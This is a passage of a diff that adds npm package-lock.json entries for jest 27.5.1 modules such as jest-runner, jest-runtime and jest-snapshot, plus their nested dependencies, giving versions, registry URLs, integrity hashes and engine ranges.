17508+ "engines": {
17509+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17510+ }
17511+ },
17512+ "node_modules/jest-resolve-dependencies": {
17513+ "version": "27.5.1",
17514+ "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-27.5.1.tgz",
17515+ "integrity": "sha512-QQOOdY4PE39iawDn5rzbIePNigfe5B9Z91GDD1ae/xNDlu9kaat8QQ5EKnNmVWPV54hUdxCVwwj6YMgR2O7IOg==",
17516+ "license": "MIT",
17517+ "dependencies": {
17518+ "@jest/types": "^27.5.1",
17519+ "jest-regex-util": "^27.5.1",
17520+ "jest-snapshot": "^27.5.1"
17521+ },
17522+ "engines": {
17523+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17524+ }
17525+ },
17526+ "node_modules/jest-resolve-dependencies/node_modules/@jest/types": {
17527+ "version": "27.5.1",
17528+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
17529+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
17530+ "license": "MIT",
17531+ "dependencies": {
17532+ "@types/istanbul-lib-coverage": "^2.0.0",
17533+ "@types/istanbul-reports": "^3.0.0",
17534+ "@types/node": "*",
17535+ "@types/yargs": "^16.0.0",
17536+ "chalk": "^4.0.0"
17537+ },
17538+ "engines": {
17539+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17540+ }
17541+ },
17542+ "node_modules/jest-resolve-dependencies/node_modules/@types/yargs": {
17543+ "version": "16.0.11",
17544+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
17545+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
17546+ "license": "MIT",
17547+ "dependencies": {
17548+ "@types/yargs-parser": "*"
17549+ }
17550+ },
17551+ "node_modules/jest-resolve-dependencies/node_modules/chalk": {
17552+ "version": "4.1.2",
17553+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
17554+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
17555+ "license": "MIT",
17556+ "dependencies": {
17557+ "ansi-styles": "^4.1.0",
17558+ "supports-color": "^7.1.0"
17559+ },
17560+ "engines": {
17561+ "node": ">=10"
17562+ },
17563+ "funding": {
17564+ "url": "https://github.com/chalk/chalk?sponsor=1"
17565+ }
17566+ },
17567+ "node_modules/jest-resolve-dependencies/node_modules/jest-regex-util": {
17568+ "version": "27.5.1",
17569+ "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz",
17570+ "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==",
17571+ "license": "MIT",
17572+ "engines": {
17573+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17574+ }
17575+ },
17576+ "node_modules/jest-resolve/node_modules/@jest/types": {
17577+ "version": "27.5.1",
17578+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
17579+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
17580+ "license": "MIT",
17581+ "dependencies": {
17582+ "@types/istanbul-lib-coverage": "^2.0.0",
17583+ "@types/istanbul-reports": "^3.0.0",
17584+ "@types/node": "*",
17585+ "@types/yargs": "^16.0.0",
17586+ "chalk": "^4.0.0"
17587+ },
17588+ "engines": {
17589+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17590+ }
17591+ },
17592+ "node_modules/jest-resolve/node_modules/@types/yargs": {
17593+ "version": "16.0.11",
17594+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
17595+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
17596+ "license": "MIT",
17597+ "dependencies": {
17598+ "@types/yargs-parser": "*"
17599+ }
17600+ },
17601+ "node_modules/jest-resolve/node_modules/chalk": {
17602+ "version": "4.1.2",
17603+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
17604+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
17605+ "license": "MIT",
17606+ "dependencies": {
17607+ "ansi-styles": "^4.1.0",
17608+ "supports-color": "^7.1.0"
17609+ },
17610+ "engines": {
17611+ "node": ">=10"
17612+ },
17613+ "funding": {
17614+ "url": "https://github.com/chalk/chalk?sponsor=1"
17615+ }
17616+ },
17617+ "node_modules/jest-resolve/node_modules/ci-info": {
17618+ "version": "3.9.0",
17619+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
17620+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
17621+ "funding": [
17622+ {
17623+ "type": "github",
17624+ "url": "https://github.com/sponsors/sibiraj-s"
17625+ }
17626+ ],
17627+ "license": "MIT",
17628+ "engines": {
17629+ "node": ">=8"
17630+ }
17631+ },
17632+ "node_modules/jest-resolve/node_modules/jest-util": {
17633+ "version": "27.5.1",
17634+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
17635+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
17636+ "license": "MIT",
17637+ "dependencies": {
17638+ "@jest/types": "^27.5.1",
17639+ "@types/node": "*",
17640+ "chalk": "^4.0.0",
17641+ "ci-info": "^3.2.0",
17642+ "graceful-fs": "^4.2.9",
17643+ "picomatch": "^2.2.3"
17644+ },
17645+ "engines": {
17646+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17647+ }
17648+ },
17649+ "node_modules/jest-resolve/node_modules/picomatch": {
17650+ "version": "2.3.1",
17651+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
17652+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
17653+ "license": "MIT",
17654+ "engines": {
17655+ "node": ">=8.6"
17656+ },
17657+ "funding": {
17658+ "url": "https://github.com/sponsors/jonschlinkert"
17659+ }
17660+ },
17661+ "node_modules/jest-runner": {
17662+ "version": "27.5.1",
17663+ "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-27.5.1.tgz",
17664+ "integrity": "sha512-g4NPsM4mFCOwFKXO4p/H/kWGdJp9V8kURY2lX8Me2drgXqG7rrZAx5kv+5H7wtt/cdFIjhqYx1HrlqWHaOvDaQ==",
17665+ "license": "MIT",
17666+ "dependencies": {
17667+ "@jest/console": "^27.5.1",
17668+ "@jest/environment": "^27.5.1",
17669+ "@jest/test-result": "^27.5.1",
17670+ "@jest/transform": "^27.5.1",
17671+ "@jest/types": "^27.5.1",
17672+ "@types/node": "*",
17673+ "chalk": "^4.0.0",
17674+ "emittery": "^0.8.1",
17675+ "graceful-fs": "^4.2.9",
17676+ "jest-docblock": "^27.5.1",
17677+ "jest-environment-jsdom": "^27.5.1",
17678+ "jest-environment-node": "^27.5.1",
17679+ "jest-haste-map": "^27.5.1",
17680+ "jest-leak-detector": "^27.5.1",
17681+ "jest-message-util": "^27.5.1",
17682+ "jest-resolve": "^27.5.1",
17683+ "jest-runtime": "^27.5.1",
17684+ "jest-util": "^27.5.1",
17685+ "jest-worker": "^27.5.1",
17686+ "source-map-support": "^0.5.6",
17687+ "throat": "^6.0.1"
17688+ },
17689+ "engines": {
17690+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17691+ }
17692+ },
17693+ "node_modules/jest-runner/node_modules/@jest/types": {
17694+ "version": "27.5.1",
17695+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
17696+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
17697+ "license": "MIT",
17698+ "dependencies": {
17699+ "@types/istanbul-lib-coverage": "^2.0.0",
17700+ "@types/istanbul-reports": "^3.0.0",
17701+ "@types/node": "*",
17702+ "@types/yargs": "^16.0.0",
17703+ "chalk": "^4.0.0"
17704+ },
17705+ "engines": {
17706+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17707+ }
17708+ },
17709+ "node_modules/jest-runner/node_modules/@types/yargs": {
17710+ "version": "16.0.11",
17711+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
17712+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
17713+ "license": "MIT",
17714+ "dependencies": {
17715+ "@types/yargs-parser": "*"
17716+ }
17717+ },
17718+ "node_modules/jest-runner/node_modules/chalk": {
17719+ "version": "4.1.2",
17720+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
17721+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
17722+ "license": "MIT",
17723+ "dependencies": {
17724+ "ansi-styles": "^4.1.0",
17725+ "supports-color": "^7.1.0"
17726+ },
17727+ "engines": {
17728+ "node": ">=10"
17729+ },
17730+ "funding": {
17731+ "url": "https://github.com/chalk/chalk?sponsor=1"
17732+ }
17733+ },
17734+ "node_modules/jest-runner/node_modules/ci-info": {
17735+ "version": "3.9.0",
17736+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
17737+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
17738+ "funding": [
17739+ {
17740+ "type": "github",
17741+ "url": "https://github.com/sponsors/sibiraj-s"
17742+ }
17743+ ],
17744+ "license": "MIT",
17745+ "engines": {
17746+ "node": ">=8"
17747+ }
17748+ },
17749+ "node_modules/jest-runner/node_modules/jest-message-util": {
17750+ "version": "27.5.1",
17751+ "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
17752+ "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
17753+ "license": "MIT",
17754+ "dependencies": {
17755+ "@babel/code-frame": "^7.12.13",
17756+ "@jest/types": "^27.5.1",
17757+ "@types/stack-utils": "^2.0.0",
17758+ "chalk": "^4.0.0",
17759+ "graceful-fs": "^4.2.9",
17760+ "micromatch": "^4.0.4",
17761+ "pretty-format": "^27.5.1",
17762+ "slash": "^3.0.0",
17763+ "stack-utils": "^2.0.3"
17764+ },
17765+ "engines": {
17766+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17767+ }
17768+ },
17769+ "node_modules/jest-runner/node_modules/jest-util": {
17770+ "version": "27.5.1",
17771+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
17772+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
17773+ "license": "MIT",
17774+ "dependencies": {
17775+ "@jest/types": "^27.5.1",
17776+ "@types/node": "*",
17777+ "chalk": "^4.0.0",
17778+ "ci-info": "^3.2.0",
17779+ "graceful-fs": "^4.2.9",
17780+ "picomatch": "^2.2.3"
17781+ },
17782+ "engines": {
17783+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17784+ }
17785+ },
17786+ "node_modules/jest-runner/node_modules/picomatch": {
17787+ "version": "2.3.1",
17788+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
17789+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
17790+ "license": "MIT",
17791+ "engines": {
17792+ "node": ">=8.6"
17793+ },
17794+ "funding": {
17795+ "url": "https://github.com/sponsors/jonschlinkert"
17796+ }
17797+ },
17798+ "node_modules/jest-runtime": {
17799+ "version": "27.5.1",
17800+ "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-27.5.1.tgz",
17801+ "integrity": "sha512-o7gxw3Gf+H2IGt8fv0RiyE1+r83FJBRruoA+FXrlHw6xEyBsU8ugA6IPfTdVyA0w8HClpbK+DGJxH59UrNMx8A==",
17802+ "license": "MIT",
17803+ "dependencies": {
17804+ "@jest/environment": "^27.5.1",
17805+ "@jest/fake-timers": "^27.5.1",
17806+ "@jest/globals": "^27.5.1",
17807+ "@jest/source-map": "^27.5.1",
17808+ "@jest/test-result": "^27.5.1",
17809+ "@jest/transform": "^27.5.1",
17810+ "@jest/types": "^27.5.1",
17811+ "chalk": "^4.0.0",
17812+ "cjs-module-lexer": "^1.0.0",
17813+ "collect-v8-coverage": "^1.0.0",
17814+ "execa": "^5.0.0",
17815+ "glob": "^7.1.3",
17816+ "graceful-fs": "^4.2.9",
17817+ "jest-haste-map": "^27.5.1",
17818+ "jest-message-util": "^27.5.1",
17819+ "jest-mock": "^27.5.1",
17820+ "jest-regex-util": "^27.5.1",
17821+ "jest-resolve": "^27.5.1",
17822+ "jest-snapshot": "^27.5.1",
17823+ "jest-util": "^27.5.1",
17824+ "slash": "^3.0.0",
17825+ "strip-bom": "^4.0.0"
17826+ },
17827+ "engines": {
17828+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17829+ }
17830+ },
17831+ "node_modules/jest-runtime/node_modules/@jest/types": {
17832+ "version": "27.5.1",
17833+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
17834+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
17835+ "license": "MIT",
17836+ "dependencies": {
17837+ "@types/istanbul-lib-coverage": "^2.0.0",
17838+ "@types/istanbul-reports": "^3.0.0",
17839+ "@types/node": "*",
17840+ "@types/yargs": "^16.0.0",
17841+ "chalk": "^4.0.0"
17842+ },
17843+ "engines": {
17844+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17845+ }
17846+ },
17847+ "node_modules/jest-runtime/node_modules/@types/yargs": {
17848+ "version": "16.0.11",
17849+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
17850+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
17851+ "license": "MIT",
17852+ "dependencies": {
17853+ "@types/yargs-parser": "*"
17854+ }
17855+ },
17856+ "node_modules/jest-runtime/node_modules/chalk": {
17857+ "version": "4.1.2",
17858+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
17859+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
17860+ "license": "MIT",
17861+ "dependencies": {
17862+ "ansi-styles": "^4.1.0",
17863+ "supports-color": "^7.1.0"
17864+ },
17865+ "engines": {
17866+ "node": ">=10"
17867+ },
17868+ "funding": {
17869+ "url": "https://github.com/chalk/chalk?sponsor=1"
17870+ }
17871+ },
17872+ "node_modules/jest-runtime/node_modules/ci-info": {
17873+ "version": "3.9.0",
17874+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
17875+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
17876+ "funding": [
17877+ {
17878+ "type": "github",
17879+ "url": "https://github.com/sponsors/sibiraj-s"
17880+ }
17881+ ],
17882+ "license": "MIT",
17883+ "engines": {
17884+ "node": ">=8"
17885+ }
17886+ },
17887+ "node_modules/jest-runtime/node_modules/jest-message-util": {
17888+ "version": "27.5.1",
17889+ "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
17890+ "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
17891+ "license": "MIT",
17892+ "dependencies": {
17893+ "@babel/code-frame": "^7.12.13",
17894+ "@jest/types": "^27.5.1",
17895+ "@types/stack-utils": "^2.0.0",
17896+ "chalk": "^4.0.0",
17897+ "graceful-fs": "^4.2.9",
17898+ "micromatch": "^4.0.4",
17899+ "pretty-format": "^27.5.1",
17900+ "slash": "^3.0.0",
17901+ "stack-utils": "^2.0.3"
17902+ },
17903+ "engines": {
17904+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17905+ }
17906+ },
17907+ "node_modules/jest-runtime/node_modules/jest-mock": {
17908+ "version": "27.5.1",
17909+ "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz",
17910+ "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==",
17911+ "license": "MIT",
17912+ "dependencies": {
17913+ "@jest/types": "^27.5.1",
17914+ "@types/node": "*"
17915+ },
17916+ "engines": {
17917+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17918+ }
17919+ },
17920+ "node_modules/jest-runtime/node_modules/jest-regex-util": {
17921+ "version": "27.5.1",
17922+ "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz",
17923+ "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==",
17924+ "license": "MIT",
17925+ "engines": {
17926+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17927+ }
17928+ },
17929+ "node_modules/jest-runtime/node_modules/jest-util": {
17930+ "version": "27.5.1",
17931+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
17932+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
17933+ "license": "MIT",
17934+ "dependencies": {
17935+ "@jest/types": "^27.5.1",
17936+ "@types/node": "*",
17937+ "chalk": "^4.0.0",
17938+ "ci-info": "^3.2.0",
17939+ "graceful-fs": "^4.2.9",
17940+ "picomatch": "^2.2.3"
17941+ },
17942+ "engines": {
17943+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17944+ }
17945+ },
17946+ "node_modules/jest-runtime/node_modules/picomatch": {
17947+ "version": "2.3.1",
17948+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
17949+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
17950+ "license": "MIT",
17951+ "engines": {
17952+ "node": ">=8.6"
17953+ },
17954+ "funding": {
17955+ "url": "https://github.com/sponsors/jonschlinkert"
17956+ }
17957+ },
17958+ "node_modules/jest-serializer": {
17959+ "version": "27.5.1",
17960+ "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.5.1.tgz",
17961+ "integrity": "sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==",
17962+ "license": "MIT",
17963+ "dependencies": {
17964+ "@types/node": "*",
17965+ "graceful-fs": "^4.2.9"
17966+ },
17967+ "engines": {
17968+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
17969+ }
17970+ },
17971+ "node_modules/jest-snapshot": {
17972+ "version": "27.5.1",
17973+ "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-27.5.1.tgz",
17974+ "integrity": "sha512-yYykXI5a0I31xX67mgeLw1DZ0bJB+gpq5IpSuCAoyDi0+BhgU/RIrL+RTzDmkNTchvDFWKP8lp+w/42Z3us5sA==",
17975+ "license": "MIT",
17976+ "dependencies": {
17977+ "@babel/core": "^7.7.2",
17978+ "@babel/generator": "^7.7.2",
17979+ "@babel/plugin-syntax-typescript": "^7.7.2",
17980+ "@babel/traverse": "^7.7.2",
17981+ "@babel/types": "^7.0.0",
17982+ "@jest/transform": "^27.5.1",
17983+ "@jest/types": "^27.5.1",
17984+ "@types/babel__traverse": "^7.0.4",
17985+ "@types/prettier": "^2.1.5",
17986+ "babel-preset-current-node-syntax": "^1.0.0",
17987+ "chalk": "^4.0.0",
17988+ "expect": "^27.5.1",
17989+ "graceful-fs": "^4.2.9",
17990+ "jest-diff": "^27.5.1",
17991+ "jest-get-type": "^27.5.1",
17992+ "jest-haste-map": "^27.5.1",
17993+ "jest-matcher-utils": "^27.5.1",
17994+ "jest-message-util": "^27.5.1",
17995+ "jest-util": "^27.5.1",
17996+ "natural-compare": "^1.4.0",
17997+ "pretty-format": "^27.5.1",
17998+ "semver": "^7.3.2"
17999+ },
18000+ "engines": {
18001+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
18002+ }
18003+ },
18004+ "node_modules/jest-snapshot/node_modules/@jest/types": {
18005+ "version": "27.5.1",
18006+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
18007+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
18008+ "license": "MIT",
18009+ "dependencies": {
18010+ "@types/istanbul-lib-coverage": "^2.0.0",
18011+ "@types/istanbul-reports": "^3.0.0",
18012+ "@types/node": "*",
18013+ "@types/yargs": "^16.0.0",
18014+ "chalk": "^4.0.0"
18015+ },
18016+ "engines": {
18017+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
18018+ }
18019+ },
18020+ "node_modules/jest-snapshot/node_modules/@types/yargs": {
18021+ "version": "16.0.11",
18022+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
18023+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
18024+ "license": "MIT",
18025+ "dependencies": {
18026+ "@types/yargs-parser": "*"
18027+ }
18028+ },
18029+ "node_modules/jest-snapshot/node_modules/chalk": {
18030+ "version": "4.1.2",
18031+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
18032+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
18033+ "license": "MIT",
18034+ "dependencies": {
18035+ "ansi-styles": "^4.1.0",
18036+ "supports-color": "^7.1.0"
18037+ },
18038+ "engines": {
18039+ "node": ">=10"
18040+ },
18041+ "funding": {
18042+ "url": "https://github.com/chalk/chalk?sponsor=1"
18043+ }
18044+ },
18045+ "node_modules/jest-snapshot/node_modules/ci-info": {
18046+ "version": "3.9.0",
18047+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
18048+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
18049+ "funding": [
18050+ {
18051+ "type": "github",
18052+ "url": "https://github.com/sponsors/sibiraj-s"
18053+ }
18054+ ],
18055+ "license": "MIT",
18056+ "engines": {
18057+ "node": ">=8"
18058+ }
18059+ },
18060+ "node_modules/jest-snapshot/node_modules/expect": {
18061+ "version": "27.5.1",
18062+ "resolved": "https://registry.npmjs.org/expect/-/expect-27.5.1.tgz",
18063+ "integrity": "sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==",
18064+ "license": "MIT",
18065+ "dependencies": {
18066+ "@jest/types": "^27.5.1",
18067+ "jest-get-type": "^27.5.1",
18068+ "jest-matcher-utils": "^27.5.1",
18069+ "jest-message-util": "^27.5.1"
18070+ },
18071+ "engines": {
18072+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
18073+ }
18074+ },
18075+ "node_modules/jest-snapshot/node_modules/jest-diff": {
18076+ "version": "27.5.1",
18077+ "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
18078+ "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
18079+ "license": "MIT",
18080+ "dependencies": {
18081+ "chalk": "^4.0.0",
18082+ "diff-sequences": "^27.5.1",
18083+ "jest-get-type": "^27.5.1",
18084+ "pretty-format": "^27.5.1"
18085+ },
18086+ "engines": {
18087+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
18088+ }
18089+ },
18090+ "node_modules/jest-snapshot/node_modules/jest-matcher-utils": {
18091+ "version": "27.5.1",
18092+ "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
18093+ "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
18094+ "license": "MIT",
18095+ "dependencies": {
18096+ "chalk": "^4.0.0",
18097+ "jest-diff": "^27.5.1",
18098+ "jest-get-type": "^27.5.1",
18099+ "pretty-format": "^27.5.1"
18100+ },
18101+ "engines": {
18102+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
18103+ }
18104+ },
18105+ "node_modules/jest-snapshot/node_modules/jest-message-util": {
18106+ "version": "27.5.1",
18107+ "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
18108+ "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
18109+ "license": "MIT",
18110+ "dependencies": {
18111+ "@babel/code-frame": "^7.12.13",
18112+ "@jest/types": "^27.5.1",
18113+ "@types/stack-utils": "^2.0.0",
18114+ "chalk": "^4.0.0",
18115+ "graceful-fs": "^4.2.9",
18116+ "micromatch": "^4.0.4",
18117+ "pretty-format": "^27.5.1",
18118+ "slash": "^3.0.0",
18119+ "stack-utils": "^2.0.3"
18120+ },
18121+ "engines": {
18122+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
18123+ }
18124+ },
18125+ "node_modules/jest-snapshot/node_modules/jest-util": {
18126+ "version": "27.5.1",
18127+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
18128+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
18129+ "license": "MIT",
18130+ "dependencies": {
18131+ "@jest/types": "^27.5.1",
18132+ "@types/node": "*",
18133+ "chalk": "^4.0.0",
18134+ "ci-info": "^3.2.0",
18135+ "graceful-fs": "^4.2.9",
18136+ "picomatch": "^2.2.3"
18137+ },
18138+ "engines": {
18139+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
18140+ }
18141+ },
18142+ "node_modules/jest-snapshot/node_modules/picomatch": {
18143+ "version": "2.3.1",
18144+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
